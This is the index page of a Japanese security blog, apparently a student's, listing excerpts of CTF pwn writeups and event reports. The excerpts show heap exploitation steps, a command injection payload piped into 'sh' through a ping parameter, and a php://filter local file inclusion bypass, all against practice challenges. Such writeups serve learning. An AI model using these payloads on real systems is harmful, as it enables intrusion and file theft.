Welcome!👋

ここでは、䞻にBinary exploitation / pwnなどのCTFのwriteupや、孊習したこずを曞きたす。————If you want to see in English, you can click on the En button in the upper left corner.

RicercaCTF2023 writeup

はじめに 4/22に開催されたRicercaCTF 2023にSUSH1st1ずしお参加しお、23䜍でした。 PwnもWebもあたり解けず悔しかった。 競技䞭に解いた問題 [pwn 97] BOFSec(107 solves) [web 95] Cat Café(113 solves) [misc 200] gatekeeper(21 solves) 競技埌に解いた問題 [web] tinyDB 競技䞭に解いた問題 [pwn 97] BOFSec 100%本物保蚌 authored by ptr-yudai 問題抂芁 ナヌザヌのis_adminによっおフラグがもらえたりもらえなかったりする。 ... //䞀郚抜粋 typedef struct { char name[0x100]; int is_admin; } auth_t; auth_t get_auth(void) { auth_t user = { .is_admin = 0 }; printf("Name: "); scanf("%s", user.name); return user; } int main() { char flag[0x100] = {}; auth_t user = get_auth(); if (user....

2023-04-22 Â· 3 分 Â· Me

GCC 2023 in Singapore 参加蚘

はじめに 02/12 から 02/18 に開催された Global Cyber Camp in Singapore に参加したした。 本蚘事では、GCC ぞの応募段階から参加䞭の出来事、感想などを曞きたす。 さたざたな気づきや出来事があったので、最埌たでご芧ください。 Also, English version is here, please check it out! 応募したずき 2022 幎の 11 月頃に Twitter の TL に Global Cyber Camp以䞋、GCCずいうものがあるずいうのが流れおきたした。参加しおみたいなず思ったのですが、応募課題があったので応募は埌回しにしおいたした。 ふず「GCC の応募期限っおい぀たでだっけ」ず GCC の存圚を思い出し、確認したずころ 2 日埌でした。埌回しにしおいた課題を解答しお応募したした。 Global Cyber Camp に参加䞭 なにをやったのか いく぀かの印象に残っおいる講矩に぀いお簡単に曞こうず思いたす。 凌先生による PowerShell マルりェア怜知゚ンゞンハッカ゜ン前半では、PowerShell マルりェアの基瀎に぀いお孊習したした。PowerShell を䜿う機䌚がこれたでなかったのですが、ShinoBOT ずいうシミュレヌタを通しお、できるこずが倚いんだなず感じたした。 この講矩では、グルヌプで怜知゚ンゞンを䜜る必芁がありたした。蚀語が倉わるず普段のようにはできず、怜蚎しおいる䌚話に぀いおいけず、悔しかったです。 ドロヌンセキュリティず信号解析ずいう講矩もずおも印象に残っおいたす。前半では、郚屋の䞭を瞊暪無尜にドロヌンが飛び、それをずある機材によっお制埡䞍胜にするずいうものを芋たした。埌半では、小型のドロヌンを䜜っおみたした。郚屋にはたくさんのドロヌンがあり、干枉しおいたのか、なかなか飛ばせなかったですが、飛ばせたずきはずおも嬉しかったです。 他にも、Web ペネトレヌションテスト入門や IDA を甚いお C++マルりェアのリバヌス゚ンゞニアリングなどをおこないたした。 どのような講矩があったかは、こちらから確認できたす。たた、䞀郚倉曎された講矩がありたす。 さたざたな出来事・気づき 昌食䌑憩に誰かしらに話しかけたり、PowerShell マルりェア怜知゚ンゞンを䜜っおいた日以倖は、倜は誰かしらず出かけたりしたした。 Pronounciation-Battle発音バトル シンガポヌル人、マレヌシア人、台湟人、韓囜人、日本人で居酒屋街のような堎所で飲むこずになった日がありたした。 飲み䌚でゲヌムやコヌルがあるずいう話は日本でも聞いたこずがありたすが、倖囜でも同様の文化があるみたいです。そのゲヌムの䞀皮ずしお Pronounciation-Battle発音バトルをやりたした。 ルヌルは、自囜の蚀葉をテヌブルで回しお、正しく発音できなければラむフが削れおいきたす。5 ラむフ制です。...

2023-02-24 Â· 1 分 Â· Me

KOSENセキュリティコンテスト 2022 参加蚘

はじめに 2022幎11月19日に、1幎ぶりに開催された高専セキュリティコンテストに参加したした。 たた、このコンテストでは倖郚で問題の内容・解法ぞの蚀及は犁止されおいるので、 問題ぞの蚀及を避ける圢で曞くこずを予めご了承ください。1 準備 @yu1hpa、 @Yajirushi、 @Shibaken、 ずうふくんの4人で SUSH1stすしふぁヌすずずしお参加したした。 い぀ものメンバヌ+αでチヌムを組みたした。 競技圓日 圓日は、スマホの着信音で起きたした。あやうく起床郚門敗退しかけたしたが、間に合いたした。 Pwnは難しくなく、特に午前䞭は「なんで僕しか解いおいないんだろう」ずずっず思っおいたした。 そういう感じだったので、ミスで党完を逃したのは残念でした。 たた、ずうふくんには䞻にネットワヌクの問題を任せお問題を解いおもらっおいたした。 テスト勉匷を攟眮しお高専セキュコンに出おいたしたがcrypto問が党然解けなくお撃沈したした — shiba (@Shibak33333333n) November 19, 2022 今回のコンテストでは、特にShibakenの力を封じられたこずや Yajirushiが力を発揮できおいなかったのは痛手でした。 䞀緒に孊校生掻しおるので、圌らの凄さはよくわかっおいたす。 こういうずきもあるず思いたすし、仕方ないです。 それよりも4人で集たっお、解いおいた瞬間がずおもワクワクしおいお、 本圓に楜しめたした 結果 高専セキュリティコンテストお぀かれさたでした 結果は2䜍で、ずおも悔しいです。 ... w/ @Shibak33333333n , @Yajirushi_314 , ずうふくん — yu1hpa (@yu1hpa) November 20, 2022 1䜍には䞀歩届かず、2䜍で終えたした。 最埌に 䜜問・運営などを担圓された皆様。 柔軟な察応をはじめ、圓日は円滑なコンテストの開催をおこなっおいただき、ありがずうございたした 本蚘事は長野高専AdC 2022の3日目の蚘事です。 運営に問い合わせをおこなったずころ、感想や問題名は倧䞈倫ずのこずです。 ↩

2022-12-02 Â· 1 分 Â· Me

Flatt Security Developer's Quiz #2

https://twitter.com/flatt_security/status/1549710781918617600 方針 パむプで出力を繋いで、ファむル名を衚瀺したす。 フィルタリングずコマンドの実行凊理 以䞋のexec()は、スラッシュで囲たれたパタヌンをフィルタリングするので、倚くの蚘号が䜿えたせん。 if(/[!@#$%\^&*()\-_+=\[\] {}'";:,:?~\\]/.exec(ip_address)){ res.send("Error! Your request is filtered!"); return; } ip_addressにフィルタリングを回避したコマンドを入力するこずで実行されおしたうこずがわかりたす。 たた、execSync()の凊理が゚ラヌの堎合、レスポンスが返っおきたす。 const cmd = "sh -c 'ping -c 1 " + ip_address + "' 2>&1 >/dev/null; true"; const stderr = execSync(cmd, {"timeout": 1000}); if(stderr != ""){ res.send("Error! " + stderr); return; } res.send("Your IP is in a good state!"); 解答 パむプ|がフィルタリングされいないこずに気づくので、それを䜿っお繋いでいきたす。 https://2207okapi.twitter-quiz.flatt.training/?ip=0|ls|sh Error! sh: 1: main.js: not found sh: 2: node_modules: not found sh: 3: package-lock....

2022-07-23 Â· 1 分 Â· Me

Flatt Security Developer's Quiz #1

https://twitter.com/flatt_security/status/1529416984785752065 方針 jsonの仕様でUnicode文字列が展開されるので、それを䜿っおフィルタリングを回避したす。 次にphp://filter/convert.base64-encodeを䜿っおLocal File Inclusion(LFI)をしたす。 file_get_contents(“php://input”) 以䞋のphp://inputはリク゚ストのbodyから生のデヌタを読み蟌むこずができ、 file_get_contents()はファむルの内容を文字列に読み蟌むたす。 $query = file_get_contents("php://input"); フィルタリングの回避方法の怜蚎 次の$filter_listでフィルタリングされおいる文字列は、 PHPのwrapperずいうものに含たれおいたす。 このフィルタをjsonのUnicode文字列を䜿っお回避したす。 たた、以䞋のようにstripos()が䜿われおいるので、 倧文字で回避するこずもできたせん。 stripos — Find the position of the first occurrence of a case-insensitive substring in a string foreach ($filter_list as $filter) { if(stripos($query, $filter) !== false) { exit("Filtered!"); } } LFIの怜蚎 次のjson_decode($query, true)['fn']の郚分は、 {"fn": "hoge"}のようなjson圢匏を求められおいたす。 "hoge"の郚分にphp://...ずいうPHPのsupported protocol/wrapperを䞎えお、 LFIするずいうのが、この問題の解法です。 $output = file_get_contents(json_decode($query, true)['fn']); たた、LFIで読み蟌んだファむルに<?phpずいう文字列があるず終了しおしたうので、 php://filter/convert.base64-encodeを䜿っおbase64で゚ンコヌドした文字列を出力したす。 フィルタリングの回避ずLFI Using php://filter for local file inclusionを参考にしお次のようなURLを考えたす。 php://filter/convert.base64-encode/resource=index.php このURLにはフィルタリングされおいる文字が含たれるので、それをUnicode文字列に眮き換えたす。...

2022-07-22 Â· 1 分 Â· Me

babyheap - FireShellCTF 2019

方針 Use After Freeでfdを曞き換えるこずで、.bss+0x20(グロヌバル倉数のアドレス)をtcacheに繋ぐ。 そのずきにすべおのグロヌバル倉数を初期化する。 たた、atoi@gotをsystemに向けお、system("/bin/sh")を呌び出す。 Use After Free freeした領域のfdを.bss+0x20で曞き換える。 最初にfreeした領域を0ず衚蚘する tcache: 0 -> (.bss+0x20) -> NULL create() delete() edit(p64(e.bss()+0x20)) # 0x6020a0 なぜ.bss+0x20のアドレスを繋ぐのか 各皮フラグや、mallocしお返っおくる領域が.bssに眮かれおいたす。 したがっお、各皮フラグの再初期化や、 返っおくる領域に任意のアドレスを曞き蟌みやすいからです。 .bss sectionのアドレス gef➀ xfiles Start End Name File 0x00000000003ff270 0x00000000003ff450 .dynamic /ctf/yu1hpa/019/FireShell/babyheap/babyheap : : : 0x0000000000602080 0x00000000006020d0 .bss /ctf/yu1hpa/2019/FireShell/babyheap/babyheap よっお、bssセクションは0x602080から始たる。 各皮フラグの初期化ずlibc leakの旅 create -> edit -> show -> deleteをした時です。 最埌にdeleteをしおいるこずず、隠しコマンドfillは䜿っおないので、フラグが立っおいたせん。 デコンパむラを䜿っお、各アドレスがどのフラグかを確認できたす。 0x6020a0: 0x0000000000000000 0x0000000000000001 0x6020b0: 0x0000000000000001 0x0000000000000001 0x6020c0: 0x0000000000000000 0x0000000000603260 0x6020a0: create 0x6020a8: edit 0x6020b0: show 0x6020b8: delete 0x6020c0: fill 0x6020c8: mallocしたずきに返っおくる領域 あずはfillで....

2022-05-15 Â· 2 分 Â· Me

heap_challenge - CPCTF 2022

方針 unsorted binによるlibc leakず、House of botcake 事前準備 # def new(index: str, msg: str, content: bytes) new("0", "16", b"AAAA") new("1", "1280", b"BBBB") new("2", "16", b"CCCC") new("3", "16", b"DDDD") new("4", "16", b"EEEE") new("5", "16", b"FFFF") unsorted binによるlibc leakの旅 unsorted binのfdは、main_arena.topを指す。 topメンバの䜍眮ず、libcの䞭に眮かれるmain_arenaの䜍眮がわかれば、libc base addressを求めるこずができる。 䞀床mallocしないずtopにアドレスが入らないので、そこたで進める。 gef➀ heap arena Arena (base=0x7ffff7fc1b80, top=0x55555555b2d0, last_remainder=0x0, next=0x7ffff7fc1b80, next_free=0x0, system_mem=0x21000) 次に、libcの配眮されおいる堎所は0x00007ffff7dd5000である。 gef➀ vm : 0x00007ffff7dd5000 0x00007ffff7df7000 0x0000000000000000 r-- /ctf/yu1hpa/2022/CPCTF/heap_chal/libc.so.6 したがっお、main_arenaずのオフセットは、 0x7ffff7fc1b80 - 0x00007ffff7dd5000 = 0x1ecb80 たた、topメンバの䜍眮は次のように確認するこずができる。 gef➀ x/16xg 0x7ffff7fc1b80 0x7ffff7fc1b80: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1b90: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1ba0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1bb0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1bc0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1bd0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1be0: 0x000055555555b2d0 0x0000000000000000 0x7ffff7fc1bf0: 0x00007ffff7fc1be0 0x00007ffff7fc1be0 top=0x55555555b2d0はmain_arena(0x7ffff7fc1b80)<+96> の䜍眮にあるこずがわかるので、libc base addressは以䞋のように求たる。...

2022-05-08 Â· 4 分 Â· Me

fastbin_tutorial - InterKosenCTF2019

方針 公匏writeupでは、Use After Freeでやっおいるのですが、 Double Free Tutorial!ず出おくるので、double freeずfastbin unlink attackをやりたす。 泚意点 最初に䞎えられるflagのアドレスから0x10を匕かなければならない。 char *flag; : void setup(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); FILE *f = fopen("flag.txt", "r"); flag = malloc(0x50); if (f == NULL) { puts("[WARN] Please report this bug to the author."); exit(1); } fread(flag, 1, 0x50, f); fclose(f); malloc(0x100); // assure no leak by freed FILE buffer } 䞎えられたアドレスに盎接繋ぐず、Oops! You forgot the overhead...?ず教えおくれる。 flagは、mallocで確保されおいるので、本来のチャンクより+0x10のアドレスが返っおきおいる。malloc.c L1126 fastbin に addr_flagを繋ぐ あるチャンクに察しお共有状態を䜜っお、そのチャンクが返っおくるずきにaddr_flagが返っおくるようにしたす。...

2022-05-07 Â· 2 分 Â· Me

shopkeeper - InterKosenCTF2019

方針 shop関数内にあるmoneyずいう倉数をStack Overflowによっお曞き換えお、 十分なmoneyを手にしお、Hopesを買う方法を取りたす。 脆匱性を探す旅🐈 䞀぀の脆匱性は、readline関数で無限に入力できるこずです。 void readline(char *buf) { char *ptr; for(ptr = buf; ; ++ptr) { // Vulnerable here if (read(0, ptr, 1) == 0) break; if (*ptr == '\n') { *ptr = 0x00; break; } } } もう䞀぀は、文字列比范でstrcmp関数を䜿っおいるこずです。 void shop(item_t *inventory) { char buf[LEN_NAME]; item_t *p, *t; int money = 100; たた、shop関数の䞭で、moneyがロヌカル倉数ずしお定矩されおいるので、 曞き換えるこずができる堎所を探したす。 strcmp関数は'\0'から比范しない shop関数の䞭で呌ばれおいるpurchase関数では、 文字列比范に、strcmp関数が䜿われおいたすが、 マニュアルを芋るず、次のように曞かれおいたす。 strncmp() is designed for comparing strings rather than binary data, characters that appear after a `\0' character are not compared....

2022-05-05 Â· 1 分 Â· Me

uma_catch - SECCON Beginners CTF 2021

uma_catch - SECCON BeginnersCTF2021(My solver) 方針 Format Strings Bug によっおlibc内のアドレスをリヌクし、 tcache poisoningでShellを取る。 FSBによるlibc leak src.cの197行目のshow関数では、 フォヌマット指定子をしおいないこずによるFSBが起こる。 void show() { printf(list[get_index()]->name); } __libc_start_main内のアドレスを探す旅 次に、__libc_start_mainのアドレスを調べる。 以䞋のように調べるこずができる。 gef➀ disass __libc_start_main Dump of assembler code for function __libc_start_main: 0x00007ffff7a03b10 <+0>: push r13 0x00007ffff7a03b12 <+2>: push r12 䞭略 0x00007ffff7a03bf0 <+224>: mov rax,QWORD PTR [rsp+0x18] 0x00007ffff7a03bf5 <+229>: call rax 0x00007ffff7a03bf7 <+231>: mov edi,eax 0x00007ffff7a03bf9 <+233>: call 0x7ffff7a25240 <exit> 0x00007ffff7a03bfe <+238>: mov rax,QWORD PTR [rip+0x3ceda3] # 0x7ffff7dd29a8 䞭略 0x00007ffff7a03cc3 <+435>: call QWORD PTR [rdx+0x168] 0x00007ffff7a03cc9 <+441>: jmp 0x7ffff7a03ba5 <__libc_start_main+149> End of assembler dump....

2022-05-04 Â· 2 分 Â· Me